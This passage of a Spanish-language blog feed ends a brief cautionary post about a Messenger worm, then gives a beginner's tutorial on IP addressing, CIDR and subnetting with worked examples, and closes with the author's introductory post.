(imprudencia también) de las personas. Por ahora parece no ser dañino en absoluto, pero claro&amp;hellip; cualquier software que puede ser controlado remotamente por desconocidos no es bienvenido :D (botnet botnet!!!). &lt;/p&gt;&lt;br /&gt;&lt;p&gt;También se puede resaltar que está en pleno desarrollo, la último versión probada según virus total es reconocida por muy pocos antivirus. &lt;a href="http://www.virustotal.com/es/analisis/1b5451819d9548c9ddf40be6629e6ac91e9a3e401aa3e217cf3071e628414773-1263770379"&gt;http://www.virustotal.com/es/analisis/1b5451819d9548c9ddf40be6629e6ac91e9a3e401aa3e217cf3071e628414773-1263770379&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-4386163184084615939?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/4386163184084615939/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4386163184084615939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4386163184084615939'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger.html' title='Otro bicho por messenger'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-7411565519949006112</id><published>2009-04-25T14:27:00.014-03:00</published><updated>2009-04-25T15:04:47.191-03:00</updated><title type='text'>Redes IP y Subnetting</title><content type='html'>&lt;span style="font-family: arial;"&gt;Para poder escribir sobre subnettig tengo 2 opciones: partir del supuesto que todos sabemos qué es una red IP o partir explicando qué es una red IP. Como ya terminé los parciales en la facultad (es decir, me sobra un poco de tiempo), voy a empezar por el camino mas largo xD.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      Haciendo un mini repaso, sabemos que las direcciones IP están formadas por 32 bits, divididos en 4 octetos que se suelen escribir en decimal para hacer nuestra vida un poco más hermosa xD. Entonces la dirección 11000000101010000000000000000001 la expresamos como 192.168.0.1. En la figura se muestra parte del proceso.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-nrWEUQlmUk/SfNO9xL8kjI/AAAAAAAAACA/T3UKqdxF1Gk/s1600-h/ip_reduced.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 114px;" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/SfNO9xL8kjI/AAAAAAAAACA/T3UKqdxF1Gk/s400/ip_reduced.PNG" alt="" id="BLOGGER_PHOTO_ID_5328689607191859762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;       En la siguiente imagen se ven 7 Hosts interconectados, divididos en 3 redes conectadas mediante un router. Todos los Host de una red comparten cierta parte de su dirección IP, precisamente esta parte que comparten se llama &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;dirección de red&lt;/span&gt;&lt;span style="font-family: arial;"&gt;. En el ejemplo, se ve que los Hosts de la &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;RED 0&lt;/span&gt;&lt;span style="font-family: arial;"&gt; comparten los primeros 24 bits de sus direcciones IP, es decir, tienen como dirección de red &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;190.68.0.0/24&lt;/span&gt;&lt;span style="font-family: arial;"&gt;. El &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;/24&lt;/span&gt;&lt;span style="font-family: arial;"&gt; nos indica que la dirección de red está formada por los primeros 24 bist de la dirección IP, a este número se lo llama &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;máscara de red&lt;/span&gt;&lt;span style="font-family: arial;"&gt;, y suele representarse en el mismo formato que las direcciones IP, en este caso sería &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;255.255.255.0&lt;/span&gt;&lt;span style="font-family: arial;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNPWQ6JGcI/AAAAAAAAACI/YhESP-RkqB0/s1600-h/redes1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 279px;" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNPWQ6JGcI/AAAAAAAAACI/YhESP-RkqB0/s400/redes1.PNG" alt="" id="BLOGGER_PHOTO_ID_5328690028023978434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   Con estos nuevos datos ya podemos saber la dirección de red de un interfase si conocemos su máscara de red, el proceso es simple. Hay que realizar la operación AND lógico entre los 32 bits de la dirección IP y los 32 bits de la máscara de red.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-nrWEUQlmUk/SfNPjPPg21I/AAAAAAAAACQ/3-LnyC_Krq8/s1600-h/red_mask.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 70px;" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/SfNPjPPg21I/AAAAAAAAACQ/3-LnyC_Krq8/s400/red_mask.PNG" alt="" id="BLOGGER_PHOTO_ID_5328690250915044178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Resumiendo un poco todo lo dicho, ahora sabemos que una dirección IP está formada por dos partes, la dirección de red (indicada por la máscara de red) y la del Host.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-nrWEUQlmUk/SfNPq8yBqSI/AAAAAAAAACY/62ZnJMWcpaI/s1600-h/red_host.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 265px; height: 92px;" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/SfNPq8yBqSI/AAAAAAAAACY/62ZnJMWcpaI/s400/red_host.PNG" alt="" id="BLOGGER_PHOTO_ID_5328690383398480162" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;  Antes de olvidarme voy a hacer una aclaración; las direcciones IP se asignan a una interfaz (una interfaz es la frontera entre el Host y el enlace físico, simplificando… la placa de red) de un Host, no al Host en si mismo. ¿Qué quiero decir?, que un mismo Host puede tener mas de una interfaz (como ser el caso de los routers), aunque no sea muy común, y por eso se considera siempre el caso donde los Hosts sólo tienen una interfaz que los une a la red.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  En un principio el esquema de direccionamiento IP se había organizado en 5 clases (A, B, C, D y E). Las redes de clase A cuentan con 7 bits para identificar redes y 24 bits para indicar Hosts. Las de clase B 14 bits para redes y 16 para Hosts. Las redes clase C emplean 21 bits para redes y 8 bits para Hosts. Las redes de clase D tienen un propósito especial, y las de clase E son para investigación. En el siguiente cuadro queda bien aclarado este tema de la división entre red y Host.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNP4WxdIGI/AAAAAAAAACg/sj4fFnQjRNM/s1600-h/clases.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 189px;" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNP4WxdIGI/AAAAAAAAACg/sj4fFnQjRNM/s400/clases.PNG" alt="" id="BLOGGER_PHOTO_ID_5328690613713707106" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family: arial;"&gt;  Este direccionamiento por clases fue pronto dejado de lado, debido a que no era muy elástico y malgastaba grandes cantidades de direcciones. Por ejemplo, una organización que tuviera 500 hosts que direccionar no podría usar una clase C, porque esta clase direcciona solamente 2^8 – 2 hosts (hay 2 direcciones que son de uso especial, las trato mas adelante), osea 254, entonces debería usar una clase B, en este caso contaría con 2^16 - 2 direcciones para sus hosts… pero esto es 65534 direcciones, de las cuales sólo usará 500… es decir malgastaría 65034 direcciones. Por este motivo se malgastaban muchas direcciones y pronto fue necesario re pensar el sistema de direccionamiento IP.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Así fue que surgió un nuevo estándar propuesto por la &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;IETF&lt;/span&gt;&lt;span style="font-family: arial;"&gt; llamado &lt;/span&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;CIDR&lt;/span&gt;&lt;span style="font-family: arial;"&gt; (Classless Interdomain Routing), enrutado interdominio sin clases. Con este nuevo estándar ahora las clases fueron dejadas un poco de lado, permitiendo que la longitud de la parte de red de una dirección IP pueda tener cualquier tamaño. Con CIDR nuestra organización del ejemplo ya puede obtener un bloque de direcciones más acotado (y por ende mas barato xD) con 9 bits para hosts tendríamos 2^9 – 2 = 510 direcciones disponibles, lo que es mucho mas preciso. Entonces las direcciones disponibles para la organización serán de la forma a.b.c.d/23 (donde 23 indica la máscara de red).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style="font-weight: bold; font-family: arial;"&gt;Otra nota importante! Existe un conjunto de direcciones IPs, llamadas direcciones privadas, que no pertenecen al grupo de direcciones asignadas en Internet o públicas. Estas se separaron para crear las redes locales y de esta forma disminuir el uso de direcciones públicas. Para que una red privada tenga acceso a Internet debe contar con una puerta de enlace que realice NAT o un servidor Proxy que contará con una dirección pública que le dará acceso a Internet a esa red privada. Aca dejo un link donde se listan las direcciones IP privadas y un poco mas de información: http://es.wikipedia.org/wiki/Direcci%C3%B3n_IP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Subnetting:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Es en este punto en el que nace el concepto de Subnetting. Subnetting es el proceso por el cual se toman bits correspondientes a hosts en la dirección IP para armar subredes. De esta forma podemos obtener a partir de una dirección de red varias subredes de menor tamaño. A partir de este momento nuestras direcciones IP tendrán 3 partes, un número de red, un número de subred y un número de Host dentro de la subred.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Veamos un ejemplo para aclarar el tema, supongamos que tenemos una dirección de red como la siguiente 192.168.2.0. Para los perdidos (o los que no leyeron el link que puse antes), esta es una dirección IP privada (NO PUEDE EXISTIR EN INTERNET), y por su formato podemos decir que es de clase C, entonces su máscara de red debe ser /24 (255.255.255.0). Sin aplicar Subnetting estamos frente a una red clase C que nos permite direccionar 2^8 – 2 hosts (interfaces en realidad, recuerden).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;  Voy a aprovechar para explicar el porqué del “- 2”, dentro de una red (también en las subredes) existen 2 direcciones que no se pueden asignar a una interfaz (o Host) porque son de propósito específico. Estas direcciones son la primera y la última, y se llaman dirección de red y dirección de broadcast respectivamente. La primera indica la red o subred y la última se utiliza para enviar paquetes a todos los miembros de la red o subred. En el caso de nuestro ejemplo la dirección de red es 192.168.2.0 (si!! El resultado de aplicar la máscara con el AND lógico xD) y la dirección de broadcast consiste en poner en 1 todos los bits que se usan para determinar el Host de la red o subred, en nuestro caso es el 4 octeto, entonces nos queda 192.168.2.255 como dirección de broadcast. E ahí la explicación de porque quitar dos direcciones del total, porque esas NO se pueden asignar a interfaz alguna.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Continuando con el ejemplo, ahora supongamos que tenemos una sola red con 100 computadoras repartidas en la organización. Por cierto motivo (privacidad, seguridad, desempeño, tiempo de sobra, etc.) se toma la decisión de dividir esa gran red en 2 redes más pequeñas con 50 computadoras cada una. Las llamaremos Subred Ventas, Subred RRHH. Ahora empezamos con los cálculos: dijimos que queremos armar 2 redes, entonces podríamos tomar 2 bits de los hosts para así poder armar 2^2 - 2 subredes (descartamos la primera y la última subred), es decir 2! Que precisión xD, sólo vamos a desperdiciar una (esto no estaba planeado jaja).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;La siguiente imagen muestra el proceso:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNQX0Kz3tI/AAAAAAAAACo/H507FiECzIc/s1600-h/subnetting.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 220px;" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/SfNQX0Kz3tI/AAAAAAAAACo/H507FiECzIc/s400/subnetting.PNG" alt="" id="BLOGGER_PHOTO_ID_5328691154180628178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  De esa forma conformamos las dos redes, donde cada red tiene un espacio de direcciones para 62 interfaces.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  El Subnetting se puede hacer sobre cualquier clase de redes, es decir sobre una red Clase A, B, etc. La esencia es que siempre que hagamos Subnetting vamos a obtener varias redes de menor cantidad de hosts (se disminuyen en potencia de 2 por cada bit que tomamos del campo de Host de la dirección IP). La subred entonces queda determinada por esta nueva Máscara de subred.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Como verán en una red de clase B que tenemos 14 bits que definen la red y 16 bits que definen el Host se pueden obtener buenas combinaciones para muchas subredes con muchos hosts, por ejemplo, tomando 6 bits para subredes obtendríamos 62 subredes con 1022 direcciones asignables (jeej me crees?? Probalo).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  Cualquier duda, sugerencia, o consulta con respecto al tema, está MAS que bien recibida. Espero que haya expresa bien las ideas ajaja, un saludo. JJ.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-7411565519949006112?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/7411565519949006112/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2009/04/redes-ip-y-subnetting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7411565519949006112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7411565519949006112'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2009/04/redes-ip-y-subnetting.html' title='Redes IP y Subnetting'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_-nrWEUQlmUk/SfNO9xL8kjI/AAAAAAAAACA/T3UKqdxF1Gk/s72-c/ip_reduced.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-2754245726351579785</id><published>2009-04-23T15:28:00.003-03:00</published><updated>2009-04-23T16:19:31.764-03:00</updated><title type='text'>Intro-Bienvenido YO, xD</title><content type='html'>La idea básica de este blog es hacer mi aporte a internet. Como Informático, tengo predilección por las redes y la seguridad, por lo que esos serán principalmente los temas que intentaré abordar aquí.&lt;br /&gt;&lt;br /&gt;Aclaro que no soy un experto en ninguna de las dos temáticas, por eso mismo me decidí a comenzar este blog, para poder aprender e intentar expresar lo que aprenda.&lt;br /&gt;&lt;br /&gt;Por lo pronto estudio Ing. en Informática, estoy casi en 4to año (de hecho curso dos materias de 4to año, dificil de explicar jajaj), tengo ciertos conocimientos en redes, programación, muy pocos de seguridad y algo de sistemas operativos, por lo tanto la idea es mezclar todo esto y aprender cosas nuevas sobre la marcha.&lt;br /&gt;&lt;br /&gt;Algunos pensarán "de qué carajo va a escribir si tiene pocos conocimientos en todo", mmm es un pensamiento bastante acertado. Pero la idea es precisamente aprender, y usar el blog como una escusa para leer RFCs, páginas en inglés, pdfs y algún que otro libraco, masticar todo eso y plasmarlo de la manera mas simple posible, para ahorrarle ese trabajo a otros y que no necesiten "re inventar la rueda" y puedan comenzar desde mas adelante.&lt;br /&gt;&lt;br /&gt;Demasiado se extendió esto, como para ser una simple introducción. Aún no se cuál será el primer artículo que voy a escribir, voy a ver si elijo algún protocolo de los mas conocidos.&lt;br /&gt;Todas las correciones serán bien recibidas, espero que esto salga lo mejor posible. JJ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-2754245726351579785?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/2754245726351579785/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2009/04/intro-bienvenido-yo-xd.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2754245726351579785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2754245726351579785'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2009/04/intro-bienvenido-yo-xd.html' title='Intro-Bienvenido YO, xD'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry></feed>
